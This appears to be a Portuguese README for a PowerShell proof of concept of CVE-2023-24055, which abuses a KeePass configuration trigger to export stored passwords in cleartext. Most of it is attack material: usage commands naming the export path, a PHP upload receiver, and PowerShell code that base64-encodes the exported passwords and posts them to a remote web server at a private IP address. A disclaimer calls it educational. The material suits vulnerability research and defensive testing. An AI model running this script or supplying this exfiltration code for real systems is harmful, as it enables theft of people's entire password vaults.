
POC para CVE-2023-24055 escrito em PowerShell.

Este script é apenas para fins educacionais e de demonstração. O autor não endossa nem aprova o uso deste script para quaisquer atividades criminosas ou maliciosas, e ele deve ser usado apenas onde explicitamente permitido com a devida autorização.
Este script deve ser usado com cautela, pois alterará o arquivo de configuração do KeePass e excluirá quaisquer gatilhos previamente configurados. O uso deste script pode resultar em comportamento inesperado e potencialmente quebrar o aplicativo KeePass. Use por sua conta e risco.
Este script demonstra a vulnerabilidade DISPUTADA (CVE-2023-24055) do KeePass até a versão 2.53 (em uma instalação padrão), pois permite que um atacante com acesso de escrita ao arquivo de configuração XML obtenha as senhas em texto claro adicionando um gatilho de exportação. Observe que a posição do fornecedor é de que a base de dados de senhas não foi projetada para ser segura contra um atacante que tenha esse nível de acesso ao PC local.
Referências:
Para usar este script, execute-o no PowerShell e forneça os parâmetros necessários. Os parâmetros obrigatórios são:
-filename: O caminho completo e o nome do arquivo para o qual as senhas serão exportadas.Os parâmetros opcionais são:
-uploadURL: Esta opção é usada para especificar que os dados devem ser enviados para a URL indicada.-url: A URL para a qual os dados devem ser enviados.Exportar senhas em texto claro:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
Exportar senhas em texto claro e fazer upload da exportação para o servidor web:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
Ajuda detalhada:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");